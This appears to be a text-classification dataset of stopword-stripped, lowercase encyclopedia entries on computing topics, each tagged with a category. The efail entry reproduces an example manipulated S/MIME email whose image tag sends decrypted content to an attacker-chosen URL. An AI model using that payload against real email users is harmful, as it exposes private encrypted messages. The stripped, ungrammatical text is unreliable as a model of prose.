768k run enhanced graphics sound often tax processor 80286 processor faster recommended best results also games educational software supports second generation tandy 1000 graphics sound offers 640 200 16 colors 8-bit dacs found 1000 sl/tl series examples software includes mario typing tutor star trek freddy pharkas frontier pharmacist sargon chess
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Computer architecture
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mobile agent computer science mobile agent composition computer software data able migrate move one computer another autonomously continue execution destination computer reality mobile agent code/object move travels itinerary within network connected nodes mobile agent namely type software agent feature autonomy social ability learning significantly mobility specifically mobile agent process transport state one environment another data intact capable performing appropriately new environment mobile agents decide move movement often evolved rpc methods user directs internet browser visit website browser merely downloads copy site one version case dynamic web sites similarly mobile agent accomplishes move data duplication mobile agent decides move saves state process image transports saved state new host resumes execution saved state mobile agent specific form mobile code within field code mobility however contrast remote evaluation code demand programming paradigms mobile agents active choose migrate computers time execution makes powerful tool implementing distributed applications computer network two types mobile agent classification based migration path 1 mobile agents predefined path static migration path 2 free roaming mobile agent dynamic migration path depending present network condition mobile agent chooses path open multi-agent systems mas system agents owned variety stakeholders continuously enter leave system early 1990s general magic created telescript language environment writing executing mobile agents described now-popular cloud metaphor described andy hertzfeld company unsuccessful however advantages mobile agents conventional agents one particular advantage remote deployment software includes increased portability thereby making system requirements less influential
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Distributed computing architecture
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form factor era ibm compatible personal computers form factor referred dimensions layout form factor motherboard ibm like ibm pc ibm xt models many third-party manufacturers produced motherboards compatible ibm form factor allowing end users upgrade computers faster processors ibm became widely copied design booming home computer market 1980s ibm clones made time began using compatible designs contributing popularity 1990s many computers still used variants since 1997 form factor largely supplanted atx original motherboard later known full means fit mini desktop minitower cases board size also means takes space behind drive bays making installation new drives difficult ibm original heavy-gauge steel case two 5-1/4 full-height drive bays overhang front motherboard precisely left bay overhangs motherboard right bay subdivided two half-height bays additionally extends downward toward bottom chassis allowing second full-height fixed disk installed single half-height drive power connectors motherboards two nearly identical 6-pin plugs sockets designed ibm connectors mechanically keyed inserted correct position clone manufacturers cut costs used unkeyed interchangeable connectors unfortunately two power connectors requires easily distinguishable leading many people damage boards improperly connected plugged two black wires connector must adjacent making row 4 consecutive black wires total 12 technicians developed mnemonic devices help assure proper installation including black wires together middle red red dead 1985 ibm introduced baby soon computer makers abandoned cheaper smaller baby form factor using computers spanned several generations used 286 processors p5 pentium limited number pentium ii systems motherboards similar mounting hole positions eight card slot locations form factor narrower marginally shorter size flexibility kind motherboard key success format development bigger cpu coolers—and fact blocked full-length pci isa cards—spelled end baby main impetus successor atx standard considered mostly obsolete industrial computers still use 1995 intel introduced atx form factor gradually replaced older baby motherboards late 1990s great majority boards either baby atx many motherboard manufacturers favored baby atx many computer cases power supplies industry still designed boards atx boards also lack eighth slot atx motherboards kept used servers industry shifted atx motherboard configurations became common design cases power supplies support baby atx motherboards connector board two molex 15-48-0106 connectors mates molex 90331
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Computer architecture
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narus company narus inc. software company vendor big data analytics cybersecurity 1997 ori cohen vice president business technology development vdonet founded narus stas khirman israel presently employed deutsche telekom ag members narus executive team 2010 narus became subsidiary boeing located sunnyvale california 2015 narus sold symantec 2004 narus employed former deputy director national security agency william crowell director press release announcing narus one first companies combine patented machine learning algorithms automation data fusion technologies provide incisive intelligence context control network operators need protect cyberthreats ensure information security narus software primarily captures various computer network traffic real time analyzes results prior 9/11 narus built carrier-grade tools analyze ip network traffic billing purposes prevent narus called revenue leakage post-9/11 narus added semantic monitoring abilities surveillance narus noted created narusinsight supercomputer system whose installation san francisco internet backbone gave rise 2006 class action lawsuit electronic frontier foundation hepting v. features narusinsight include intercepted data flows narusinsight intercept suite data stored analyzed surveillance forensic analysis capabilities include playback streaming media i.e. voip rendering web pages examination e-mail ability analyze payload/attachments e-mail file transfer protocols narus partner products pen-link offer ability quickly analyze information collected directed analysis lawful intercept modules single narusinsight machine monitor traffic equal maximum capacity 10 gbit/s around 39,000 256k dsl lines 195,000 56k telephone modems practical terms since individual internet connections continually filled capacity 10 gbit/s capacity one narusinsight installation enables monitor combined traffic several million broadband users according year 2007 company press release latest version narusinsight intercept suite nis industry network traffic intelligence system supports real-time precision targeting capturing reconstruction webmail traffic ... including google gmail msn hotmail yahoo mail however currently webmail traffic https encrypted content messages monitored consent service providers narusinsight also perform semantic analysis traffic happening words analyze content meaning structure significance traffic real time exact use data fully documented public authorized see types activities ideas monitored ed snowden june 2013 releases prism surveillance program made clear however narus played central role narus provided telecom egypt deep packet inspection equipment content-filtering technology allows network managers inspect track target content users internet mobile phones passes routers national telecommunications authorities pakistan saudi arabia global narus customers narus supplied software hardware used wiretapping rooms according whistleblowers thomas drake mark klein
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Computer security
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apache impala apache impala open source massively parallel processing mpp sql query engine data stored computer cluster running apache hadoop impala described open-source equivalent google f1 inspired development 2012 apache impala query engine runs apache hadoop project announced october 2012 public beta test distribution became generally available may 2013 impala brings scalable parallel database technology hadoop enabling users issue low-latency sql queries data stored hdfs apache hbase without requiring data movement transformation impala integrated hadoop use file data formats metadata security resource management frameworks used mapreduce apache hive apache pig hadoop software impala promoted analysts data scientists perform analytics data stored hadoop via sql business intelligence tools result large-scale data processing via mapreduce interactive queries done system using data metadata – removing need migrate data sets specialized systems and/or proprietary formats simply perform analysis features include early 2013 column-oriented file format called parquet announced architectures including impala december 2013 amazon web services announced support impala early 2014 mapr added support impala 2015 another format called kudu announced cloudera proposed donate apache software foundation along impala impala graduated apache top-level project tlp 28 november 2017
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Distributed computing architecture
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authbind authbind open-source system utility written ian jackson distributed gnu general public license authbind software allows program would normally require superuser privileges access privileged network services run non-privileged user authbind allows system administrator permit specific users groups access bind tcp udp ports 1024 ports 0 1023 normally privileged reserved programs run root user allowing regular users limited access privileged ports helps prevent possible privilege escalation system compromise software happens contain software bugs found vulnerable unknown exploits authbind achieves defining ld_preload environment variable loads libauthbind library library overrides bind call version executes setuid helper program /usr/lib/authbind/helper socket file descriptor 0 helper validates arguments checks configuration calls real bind system call file descriptor 0 also affects original process socket exits allowing original process continue socket bound requested address port authbind currently distributed debian ubuntu linux distributions
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Computer security
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thinkpad series thinkpad series line laptop computers introduced ibm 2000 transfer consumer computer division 2005 developed marketed chinese technology company lenovo ibm introduced series part thinkpad brand 2000 laptop meant cater users working multiple networks different environments resulted development ibm embedded security subsystem time inception series designed balance speed mobility despite 14.1 ” screen similar desktops time titanium composite body laptop designed keep weight low possible users also given options swap components mobility like dvd player writeable cd drive numeric keypads thinkpad t20 released ibm successor thinkpad 600 laptops despite weight t20 screen making lightest laptop offering screen size addition internal 8x dvd-rom drive weight remained low october 2000 thinkpad t20 upgraded released thinkpad t21 laptop intel mobile pentium iii 800 mhz cpu 14.1 ” lcd display offered higher resolution hard disk space offered 32gbhigh time minor refinements made t2x series resulting t22 finally 2002 t23 pentium iii-m 1.13 ghz tualatin 128mb ram 30gb hard drive thinkpad t30 released may 2002 options intel mobile pentium 4-m processor intel 845mp mobile chipset additional options included ati mobility radeon 7500 video controller 16 mb graphics memory 14.1 ” lcd display resolution 1 gb pc2100 ram complemented 60 gb hard drive dvd-rom/cd-rw combo drive making powerful laptop.announced march 2003 thinkpad t40p represented first series performance class laptops thinkpad t40p offered ati mobility 9000 64 mb vram 14.1 ” lcd display resolution maximum 2 gb pc2100 ram 60 gb ide hard disk design followed t41 t41p t42 t42p ati mobility 7500 9600 firegl t2 almost complete parts interchangeability except fan normal p-series keyboard 14.1 15 screen 14.1 15 screen inverter 15 t42 t42p models offered optional flexview ips lcd display launched april 2005 thinkpad t43 t43p laptops last t-series laptops manufactured ibm major improvement move lower-cost ddr2 ram bus speed increase 400 mhz 533 mhz cpu also first xd bit making first thinkpad could run windows 8.x windows 10 december 2004 lenovo china announced acquisition ibm pc division including thinkpad brand time 40 pc division working china thinkpads made lenovo arch-rival great wall technology lenovo released thinkpad t60 t60p laptops february 2006 designed manufactured lenovo t60 t60p still featured ibm logo machines may 2007 t61 t61p laptops slowly phased ibm logos favor thinkpad logo also first series notebook adopt widescreen resolution mainstream option traditional 4:3 aspect ratio screens also offered alternative time mass industry adoption widescreen standard meant last thinkpad kind use 4:3 standard naming convention series changed lenovo following release thinkpad t400 t500 july 2008 txxp models like t61p replaced lenovo ’ thinkpad w series laptops designed mobile workstations w series grew become lenovo ’ line performance-oriented laptops series remains lenovo ’ premier line laptops aimed corporate enterprise users praised users outstanding linux compatibility t-p lineup later returned t440p t460p t470p t540p ultimately canceled -80 generation battery configuration processor weight screen resolution graphics laptop storage combinations excluding wwan slot laptop memory recent 14 models recent 15 models available lenovo pcworld said thinkpad t20 “ packs bigger screen comfortable keyboard larger set useful features smaller package competitors. ” web site epinions.com said thinkpad t20 “ worth wait ” giving 4.5 stars 5 review thinkpad t60 notebook review called t-series laptops “ flagship thinkpad brand ” aimed corporate professionals t-series characteristics listed notebookreview.com include durability security usability performance thinkpad t410 awarded 4.5 5 stars notebook review upon release review noted centering screen eliminating thick bezel one side thin bezel review indicated pros speed battery life wide selection ports cons minor distortions screen flexed high pitched fan wired also reviewed t410 laptop positively saying “ lenovo ’ thoughtful thinkpad near-perfect machine ” pc advisor review thinkpad t510 called lack alterations traditional design good thing also highlighted professional appearance ‘ sturdy build quality ’ indicating makes laptop stand others market t420 t520 laptops different predecessors mainly upgrade intel ’ sandy bridge processors t420 received total score 85 notebook check web site fan noise noticeably reduced indicated reviewer pcworld t-series laptops t420 t420s t520 lauded battery life – 30 hours 9-cell battery slice
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Computer architecture
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multics emacs multics emacs early implementation emacs text editor written maclisp bernard greenberg honeywell cambridge information systems lab user-supplied extensions also written lisp programming language choice 1978 lisp provided extensibility ever followed subsequent emacs implementations
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Operating systems
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augmented transition network augmented transition network atn type graph theoretic structure used operational definition formal languages used especially parsing relatively complex natural languages wide application artificial intelligence atn theoretically analyze structure sentence however complicated atn modified transition networks extension rtns atns build idea using finite state machines markov model parse sentences w. woods transition network grammars natural language analysis claims adding recursive mechanism finite state model parsing achieved much efficiently instead building automaton particular sentence collection transition graphs built grammatically correct sentence parsed reaching final state state graph transitions graphs simply subroutine calls one state initial state graph network sentence determined grammatically correct final state reached last word sentence model meets many goals set forth nature language captures regularities language process operates number environments grammar encapsulate process single structure encapsulation simplifies grammar added bonus efficiency operation another advantage model ability postpone decisions many grammars use guessing ambiguity comes means enough yet known sentence use recursion atns solve inefficiency postponing decisions known sentence
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Computational linguistics
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z/os z/os 64-bit operating system ibm mainframes produced ibm derives successor os/390 turn followed string mvs versions like os/390 z/os combines number formerly separate related products still optional z/os offers attributes modern operating systems also retains much functionality originating 1960s subsequent decade still found daily use backward compatibility one z/os central design philosophies z/os first introduced october 2000. z/os supports stable mainframe systems standards cics cobol ims db2 racf sna ibm mq record-oriented data access methods rexx clist smp/e jcl tso/e ispf among others however z/os also supports 64-bit java c c++ unix single unix specification apis applications unix system services – open group certifies z/os compliant unix operating system – unix/linux-style hierarchical hfs zfs file systems result z/os hosts broad range commercial open source software z/os communicate directly via tcp/ip including ipv6 includes standard http servers one lotus apache-derived along common services ftp nfs cifs/smb another central design philosophy support extremely high quality service qos even within single operating system instance although z/os built-in support parallel sysplex clustering z/os workload manager wlm dispatcher automatically manages numerous concurrently hosted units work running separate key-protected address spaces according dynamically adjustable goals capability inherently supports multi-tenancy within single operating system image however modern ibm mainframes also offer two additional levels virtualization lpars optionally z/vm new functions within hardware z/os z/vm — linux opensolaris support — encouraged development new applications mainframes many utilize websphere application server z/os middleware inception z/os supported tri-modal addressing 24-bit 31-bit 64-bit version 1.5 z/os could start either 31-bit esa/390 64-bit z/architecture mode could function older hardware albeit without 64-bit application support machines newer z/architecture hardware manufactured starting year 2000 run 64-bit code ibm support z/os 1.5 ended march 31 2007 z/os supported z/architecture mainframes runs 64-bit mode application programmers still use addressing mode applications regardless addressing mode coexist without modification ibm maintains commitment tri-modal backward compatibility however increasing numbers middleware products applications db2 version 8 require exploit 64-bit addressing ibm markets z/os flagship operating system suited continuous high-volume operation high security stability z/os available standard license pricing well via ibm z new application license charges znalc ibm z solution edition two lower priced offerings aimed supporting newer applications new workloads u.s. standard commercial z/os pricing starts 125 per month including support smallest znalc installation running base z/os product plus typical set optional z/os features z/os introduced variable workload license charges vwlc entry workload license charges ewlc sub-capacity billing options vwlc ewlc customers pay peak monthly z/os usage full machine capacity previous os/390 operating system vwlc ewlc also available ibm software products running z/os peaks separately calculated never exceed z/os peak eligible sub-capacity licensing z/os customer must running 64-bit mode requires z/architecture hardware must completely eliminated os/390 system must e-mail ibm monthly sub-capacity reports sub-capacity billing substantially reduces software charges ibm mainframe customers advanced workload license charges awlc successor vwlc mainframe models starting zenterprise 196 eawlc option zenterprise 114 models awlc eawlc offer sub-capacity discounts within address space z/os typically permits placement data code 2 gb bar z/os enforces distinction primarily performance reasons architectural impediments allowing 2 gb application code per address space ibm started allow java code running z/os execute 2 gb bar performance reasons starting z/os version 2 release 3 code may placed executed 2 gb bar however z/os services may invoked bar memory obtained large memory objects multiples 1 mb expectation applications middleware manage memory allocation within large pieces three types large memory objects generation data group gdg special type file used ibm mainframe operating system z/os actual gdg description many generations file kept old oldest generation must least deleted whenever new generation created system checks whether one obsolete generations deleted necessary deletes purpose gdgs automate archival using command language jcl file name given generic dsn appears gdg name appears along history number 0 recent version -1 -2 ... previous generations another use gdgs able address generations simultaneously within jcl script without know number currently available generations omit parentheses generation number jcl specifying dataset creation standard gdg five safety scopes least 35 days old delete standard gdg ibm supports z/os release coexistence fallback n+2 basis example ibm customers running release 9 upgrade directly release 11 release 10 releases operate concurrently within sysplex cluster without conflict using datasets configurations security profiles etc coexistence long so-called toleration maintenance installed older release problem release 11 customer return release 9 without experiencing dataset configuration security profile compatibility problems fallback ready try moving forward z/os customers using parallel sysplex clustering operate n+2 releases e.g release 9 release 11 release 9 release 10 mixed release configurations production long required complete release upgrades supported release mixing within cluster one key strategies z/os avoiding service outages ibm standard support period z/os release three years z/os customers take advantage n+2 support model skip every release thus z/os customers either odd even ibm releases individual small enhancements corrections a.k.a ptfs z/os needed needed ibm labels critical ptfs hiper high impact pervasive ibm also rolls multiple patches recommended service update rsu rsus released periodically range every one three months undergo additional testing although z/os customers vary maintenance practices ibm encourages every z/os customer adopt reasonable preventive maintenance strategy avoid known problems might occur version 2 release 2 available version 2 release 3 available
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Operating systems
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http public key pinning http public key pinning hpkp internet security mechanism delivered via http header allows https websites resist impersonation attackers using mis-issued otherwise fraudulent digital certificates delivering set public keys client e.g web browser ones trusted future connections domain name example attackers might compromise certificate authority mis-issue certificates web origin combat risk https web server serves list “ pinned ” public key hashes valid given time subsequent connections validity time clients expect server use one public keys certificate chain error message shown easily bypassed user contrary common belief technique pin certificates public keys means one use key pair get certificate certificate authority one access private key alternatively also public keys root intermediate certificates created certificate authorities pinned would subsequently allow certificates issued certificate authority mechanism deprecated google chrome team late 2017 complexity dangerous side-effects google recommends using expect-ct safer alternative server communicates hpkp policy user agent via http response header field named codice_1 codice_2 reporting-only purposes hpkp policy specifies hashes subject public key info one certificates website authentic x.509 public key certificate chain least one backup key codice_3 directives period time user agent shall enforce public key pinning codice_4 directive optional codice_5 directive include subdomains domain sent header pinning policy optional codice_6 directive url send pinning violation reports least one public keys certificates certificate chain needs match pinned public key order chain considered valid user agent time publishing rfc 7469 allowed sha-256 hash algorithm hashes hpkp policy generated shell commands mentioned appendix a. rfc 7469 third-party tools website operator choose either pin root certificate public key particular root certificate authority allowing certificate authority intermediate authorities signed key issue valid certificates website domain and/or pin key one intermediate issuing certificates pin end-entity public key least one backup key must pinned case current pinned key needs replaced hpkp valid without backup key backup key defined public key present current certificate chain hpkp standardized rfc 7469 expands static certificate pinning hardcodes public key hashes well-known websites services within web browsers applications browsers disable pinning certificate chains private root certificates enable various corporate content inspection scanners web debugging tools mitmproxy fiddler nowiki rfc 7469 standard recommends disabling pinning violation reports user-defined root certificates acceptable browser disable pin validation. /nowiki user agent performs pin validation fails find valid spki fingerprint served certificate chain post json formatted host specified directive containing details violation uri may served via http https however user agent send hpkp violation reports https uri domain domain reporting violation hosts may either use http codice_6 use alternative domain use reporting service browsers also support codice_2 triggers reporting showing error user hpkp supported firefox opera chrome internet explorer/edge chrome deprecated hpkp release chrome 67
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Computer security
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mobile backend service mobile backend service mbaas also known backend service baas model providing web app mobile app developers way link applications backend cloud storage apis exposed back end applications also providing features user management push notifications integration social networking services services provided via use custom software development kits sdks application programming interfaces apis baas relatively recent development cloud computing baas startups dating 2011 later although fairly nascent industry trends indicate services gaining mainstream traction enterprise consumers web mobile apps require similar set features backend including push notifications integration social networks cloud storage services api must individually incorporated app process time-consuming complicated app developers baas providers form bridge frontend application various cloud-based backends via unified api sdk providing consistent way manage backend data means developers need redevelop backend services apps need access potentially saving time money although similar cloud-computing developer tools software service saas infrastructure service iaas platform service paas baas distinct services specifically addresses cloud-computing needs web mobile app developers providing unified means connecting apps cloud services baas provider offers slightly different set backend tools resources among common services provided push notifications file storage sharing integration social networks facebook twitter location services database persistence queries messaging chat functions user management running business logic usage analysis tools baas providers broad focus providing sdks apis work app development multiple platforms ios android blackberry windows phone html5 others baas providers generate revenue services various ways often using freemium model model client receives certain number free active users api calls per month pays fee user call limit alternatively clients pay set fee package allows greater number calls active users per month also flat fee plans make pricing predictable providers offer unlimited api calls inside free plan offerings baas commonly offered commercial service open source options available
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Distributed computing architecture
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cyxymu cyxymu screen name georgian blogger targeted co-ordinated series attacks social networking sites facebook google blogger livejournal twitter taking latter offline two hours august 7 2009 name mimics cyrillic spelling sukhumi сухуми capital town georgian breakaway region abkhazia blogger extensively covers suffering georgian civilians war abkhazia accuses russia trying silence using cyberattacks facebook came defense cyxymu chief security officer max kelly stating “ simultaneous attack across number properties targeting keep voice heard cyxymu russian-language livejournal blog source information georgia news media 2007 state emergency 2008 russo-georgian war cyxymu lj blog previously targeted denial-of-service attacks october 2008 rendering livejournal servers unavailable three times october 26–27 attack cyxymu internationally seen part ongoing cyberwar russia georgia
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Computer security
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os/390 os/390 ibm operating system system/390 ibm mainframe computers os/390 introduced late 1995 effort simplify packaging ordering key entitled elements needed complete fully functional mvs operating system package elements included limited additional benefit os/390 packaging concept improve reliability availability serviceability ras operating system number different combinations elements customer could order run drastically reduced reduced overall time required customers test deploy operating system environments well reducing number customer reported problems pmrs errors apars fixes ptfs arising variances element levels december 2001 ibm extended os/390 include support 64-bit zseries processors added various improvements result named z/os ibm ended support older os/390-branded versions late 2004
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Operating systems
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martianoids martianoids zx spectrum video game developed ultimate play game released 1987 although uses isometric projection ultimate second-generation isometric releases nightshade gunfright martianoids used scrolling display rather flip-screen earlier titles knight lore alien 8 contemporary ultimate title bubbler martianoids written partnership tim stamper chris stamper instead programmed team u.s. gold therefore ultimate game name ultimate penultimate title 8-bit home computers 1988 company became rare embarking long-running partnership nintendo develop console games players given cryptic introduction describing attack aliens known martianoids martianoids enter player ship attack brain ship photon weapons player must act prevent damage player lasers defence destroy internal walls computer components forth aliens
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Computer architecture
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storyboard apple programming storyboards files programmers create create apps ios macos design gui
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Operating systems
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citadel malware citadel piece massively-distributed malware based upon zeus targets credentials stored password managers keepass password safe nexus personal security client 2017 first identified 2011 citadel infected 11 million computers worldwide caused 500 million losses march 20 2017 extradited norway united states russian computer science professional mark vartanyan pleaded guilty computer fraud charge part developing control panel citadel july 2017 sentenced 5 years federal prison
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Computer security
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piranha software piranha text mining system developed united states department energy doe oak ridge national laboratory ornl software processes large volumes unrelated free-text documents shows relationships amongst technique valuable across numerous scientific data domains health care fraud national security results presented clusters prioritized relevance business government analysts piranha uses term frequency/inverse corpus frequency term weighting method provides strong parallel processing textual information thus ability analyze large document sets piranha six main strengths collecting extracting millions documents numerous sources databases social media collected text extracted hundreds file formats info translated number languages storing indexing documents search servers relational databases etc stored indexed recommending recommending valuable information particular users categorizing grouping items via supervised semi-supervised machine learning methods targeted search lists clustering similarity used create hierarchical group documents visualizing showing relationships among documents users quickly recognize connections work resulted eight issued 9,256,649 8,825,710 8,473,314 7,937,389 7,805,446 7,693,9037 7,315,858 7,072,883 several commercial licenses including textore pro2serve spin-off company inventors covenant health pro2serve called vortext analytics two r 100 awards scores peer reviewed research publications
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Distributed computing architecture
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michael spivey michael spivey commonly known mike spivey british computer scientist university oxford spivey born 1960 educated archbishop holgate grammar school york england studied mathematics christ college cambridge undertook dphil computer science z notation wolfson college oxford programming research group part oxford university computing laboratory mike spivey university lecturer computation oxford university department computer science misys anderson fellow computer science oriel college oxford main areas research interest compilers programming languages especially logic programming wrote oberon-2 compiler
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Programming language topics
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unslung unslung open source firmware linksys nslu2 based stock linksys firmware due device running linux therefore licensed subject terms gnu general public license linksys released source code unslung takes linksys firmware expands upon still subject restrictions linksys firmware also removes based old linux 2.4 kernel support newer devices may exist web interface default linksys firmware kept fully functioning except upgrade interface ipkg users able install 1000 optware packages device specially compiled nslu2 unslung 6.10 beta firmware based linksys v2.3r63/a5 firmware minor bugfix/update unslung 6.8
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Operating systems
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list operating systems list operating systems computer operating systems categorized technology ownership licensing working state usage many characteristics practice many groupings may overlap criteria inclusion notability shown either existing wikipedia article citation reliable source non-unix operating systems still confirmed see also mobile operating systems
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Operating systems
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gnu variants gnu variants also called gnu distributions distros short operating systems based upon gnu operating system hurd kernel gnu c library system libraries application software like gnu coreutils bash gnome guix package manager etc. according gnu project others also include operating systems using linux kernel others using bsd-based kernels gnu users usually obtain operating system downloading gnu distributions available wide variety systems ranging embedded devices example librecmc personal computers example debian gnu/hurd powerful supercomputers example rocks cluster distribution hurd official kernel developed gnu system linux-libre also became official gnu package debian gnu/hurd discussed release technology preview debian 7.0 wheezy however plans discarded due immature state system however maintainers debian gnu/hurd decided publish unofficial release release date debian 7.0 debian gnu/hurd considered yet provide performance stability expected production system among open issues incomplete implementation java x.org graphical user interfaces limited hardware driver support two thirds debian packages ported hurd arch hurd derivative work arch linux porting gnu hurd system packages optimised intel p6 architecture goal provide arch-like user environment bsd-style init scripts pacman package manager rolling releases simple set gnu hurd stable enough least occasional use although abandoned 2018 project produced livecd evaluation purposes installations guides livecd conventional installation term gnu/linux gnu+linux used fsf supporters refer operating system linux kernel distributed gnu system software distributions primary installed base gnu packages programs also linux notable official use term distribution debian gnu/linux 2018 gnu variants recommended gnu project regular use linux distributions committed free system distribution guidelines refer gnu/linux like debian actually use deblobbed version linux like linux-libre linux per se debian gnu/kfreebsd operating system ia-32 x86-64 computer architectures distribution gnu debian package management kernel freebsd k kfreebsd abbreviation kernel reflects fact kernel complete freebsd operating system used operating system officially released debian squeeze 6.0 february 6 2011 one debian gnu/kfreebsd live cd ging longer maintained nexenta os first distribution combines gnu userland exception libc opensolaris libc used debian packaging organisation opensolaris kernel nexenta os available ia-32 x86-64 based systems nexenta systems inc initiated project sponsors continued development nexenta os considered gnu variant due use opensolaris libc multiple illumos distributions use gnu userland default cygwin project actively-developed compatibility layer form c library providing substantial part posix api functionality windows well distribution gnu unix-like programs ecosystem first released 1995 cygnus solutions red hat 2016 microsoft canonical added official compatibility layer windows 10 translates linux kernel calls windows nt ones reverse wine allows elf executables run unmodified windows intended provide web developers familiar gnu userland top windows kernel combination dubbed linux windows even though linux i.e operating system family defined common use linux kernel absent
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Operating systems
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list command-line interpreters computing command-line interpreter command language interpreter blanket term certain class programs designed read lines text entered user thus implementing command-line interface many variants unix shell
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Programming language topics
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citrio citrio free web browser developed catalina group ltd. distributed epom ad server citrio available windows mac os x. citrio download manager includes bittorrent support video downloader media player proxy switcher citrio based open source chromium web browser project makes compatible extensions apps themes chrome web store citrio known trigger warnings antivirus software downloads privacy-invading extensions background users data tracked collected epom purpose selling ads leading categorize citrio adware citrio built-in download manager allows pause resume downloads sorts downloaded files date type download status browser inbuilt bittorrent client allows download torrent files magnet links without additional software citrio ’ video grabber makes possible download files multiple online video websites downloaded torrents videos displayed together downloads respective section browser built-in media player play video files download still progress citrio built-in ad blocking extension citrio browser distributed epom ad server developed catalina group citrio initially released 2013 number core features download manager torrent manager video downloader proxy switcher citrio generally well-reviewed downloading capabilities download manager torrent video downloader others criticized adware security risk misleading promotional materials privacy-invading user data collection february 2015 cnet reviewed citrio following conclusion “ ... download lot media files internet definitely give citrio try offers one easiest ways 've seen download files aside ask toolbar optimization lot like free browser. ” softonic review citrio similarly concludes although citrio promoted secure browser installation programme known set malware warnings considered adware also unable opt installing privacy-invading ask toolbar initial installation still lot like browser ...
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Internet protocols
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activex data objects computing microsoft activex data objects ado comprises set component object model com objects accessing data sources part mdac microsoft data access components provides middleware layer programming languages ole db means accessing data stores whether databases uniform manner ado allows developer write programs access data without knowing database implemented developers must aware database connection knowledge sql required access database using ado although one use ado execute sql commands directly disadvantage introducing dependency upon type database used microsoft introduced ado october 1996 positioning software successor microsoft earlier object layers accessing data sources including rdo remote data objects dao data access objects ado made four collections twelve objects basic steps required order able access manipulate data using ado asp example using ado select name field table called phonebook phonenumber equal 555-5555 equivalent following asp code uses plain sql instead functionality recordset object ado supported development language supports binding binary com interfaces languages include asp delphi powerbuilder visual basic applications vba ado support added dbase plus 8 ado ado.net replaced ado way c /.net replaced c/win32 primary mode targeting windows application development ado.net follows design pattern ado enabling ado developer easy path forward moving .net framework
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Operating systems
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intelligent resilient framework intelligent resilient framework irf proprietary software virtualization technology developed h3c 3com core idea connect multiple network devices physical irf ports perform necessary configurations devices virtualized distributed device virtualization technology realizes cooperation unified management non-stop maintenance multiple devices technology follows general concepts cisco vss vpc technologies technology originally developed 3com released 2003 xrn expandable resilient networking hp purchased 3com april 2010 hp renamed technology irf simplified topology streamlined management irf virtual device appears node network log connecting port member manage members irf virtual device companies use technology hewlett packard enterprise hpe formerly hewlett-packard h3c also hpe formerly 3com
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Internet protocols
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icmp router discovery protocol computer networking icmp internet router discovery protocol irdp also called internet router discovery protocol protocol computer hosts discover presence location routers ipv4 local area network router discovery useful accessing computer systems nonlocal area networks irdp defined ietf rfc 1256 standard internet control message protocol icmp upon based defined ietf rfc 792 irdp eliminates need manually configure routing information enable router discovery irdp defines two kinds icmp messages host boots sends solicitation messages ip multicast address 224.0.0.2 response one routers may send advertisement messages one router host usually picks first message gets adds router routing table independently solicitation router may periodically send advertisement messages messages considered routing protocol determine routing path presence possible gateways irdp strategy used development ipv6 neighbor discovery protocol use icmpv6 messages ipv6 analog icmp messages neighbor discovery governed ietf standards rfc 4861 rfc 4862 irdp plays essential role mobile networking ietf standard rfc 3344 called mipv4 agent discovery
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Internet protocols
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glfw glfw lightweight utility library use opengl glfw stands graphics library framework provides programmers ability create manage windows opengl contexts well handle joystick keyboard mouse input glfw small c library allows creation management windows opengl contexts making also possible use multiple monitors video modes provides access input keyboard mouse joysticks api provides thin multi-platform abstraction layer primarily applications whose sole graphics output opengl api glfw useful developing multi-platform opengl applications single-platform developers also benefit avoiding deal kludgy platform-specific apis possible reason libraries like glfw needed opengl provide mechanisms creating necessary context managing windows user input timing etc several libraries available aiding opengl development common ones freeglut open source implementation glut sdl however freeglut mostly concerned providing stable clone glut sdl large people never opengl main focus glfw predicated assumption room lightweight modern library managing opengl contexts windows input glfw design although glfw written c bindings exist use api programming languages including ada c common lisp go haskell java python rebol red ruby rust among others glfw version 3.2 experimental support wayland compile-time flags
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Operating systems
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efail efail also written efail security hole email systems content transmitted encrypted form gap allows attackers access decrypted content email contains active content like html javascript loading external content enabled client affected email clients include gmail apple mail microsoft outlook two related common vulnerabilities exposures ids issued security gap made public 13 may 2018 damian poddebniak christian dresen jens müller fabian ising sebastian schinzel simon friedberger juraj somorovsky jörg schwenk part contribution 27th usenix security symposium baltimore august 2018 result vulnerability content attacked encrypted email transmitted attacker plain text vulnerable email client used encryption keys disclosed security gap concerns many common email programs used email encryption systems openpgp s/mime attacker needs access attacked email message encrypted form well ability send email least one regular recipient original email exploit security gap attacker modifies encrypted email causing recipient email program send decrypted content email attacker access decrypted content encrypted email attacker modifies email attacked contain text prepared attacker specific way attacker sends changed email one regular recipients attacker inserts additional text encrypted text encrypted email thereby changing message multipart/mixed mime message created encrypted part message appears together limit marks mime message parameter value html tag example modified s/mime mail content-type multipart/mixed boundary= boundary -- boundary content-type text/html img src= http //attacker.chosen.url -- boundary content-type application/pkcs7-mime content-transfer-encoding base64 encryptedmessageencryptedmessageencryptedmessageencryptedmessage -- boundary content-type text/html -- boundary email client first breaks multipart message individual parts using codice_1 tag decrypts encrypted parts reassembles multipart message receives message way content-type multipart/mixed boundary= boundary -- boundary content-type text/html img src= http //attacker.chosen.url secretmessagesecretmessage -- boundary message contains decrypted content email codice_2 attribute codice_3 tag passed email program url web server codice_4 controlled attacker content requested attacker retrieve content encrypted message web server logs variant attack attacker uses vulnerability cbc s/mime cfb openpgp operating modes encryption algorithms used allows change ciphertext inserting gadgets side effect manipulation originally contained plain text becomes illegible known attacker correct inserting additional gadgets attacker hide unknown plain text inserting certain html tags result message similar structure described since vulnerability directed content email recipient necessary recipients implement countermeasures include extent even senders encrypted content reduce vulnerability e.g electronic signatures limitation subset mime formats yet conclusively clarified announcing security vulnerability 13 may 2018 electronic frontier foundation eff recommended stop using pgp plugins email programs even though vulnerability directly relate pgp configuration email program coordinated publication originally scheduled 15 may eff criticized ignoring various parties consequence robert hansen recommended establish closed group mailing list better coordinate publication future security issues still saw eff director danny o'brien best entity administer openpgp disclosure group
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Computer security
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cauce cauce coalition unsolicited commercial email non-profit advocacy group works reduce amount unsolicited commercial email spam via legislation cauce founded 1997 participants usenet newsgroup news.admin.net-abuse.email spam-l mailing list cauce north america formed march 2007 merger first cauce cauce us cauce canada combining strengths two sibling cauce organizations cauce na all-volunteer consumer advocacy organization moved beyond original mission encouraging creation adoption anti-spam laws broader stance defending interests average internet user cauce chapters formed canada europe among first lobby effective antispam legislation australia cauce india formed late 1990s 2003 apcauce cauce asia pacific formed bring together cauce chapters asia pacific region hosts technical workshops policy roundtable regional update sessions regional network operator conferences sanog apricot also member anti-spyware coalition cauce around world
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Computer security
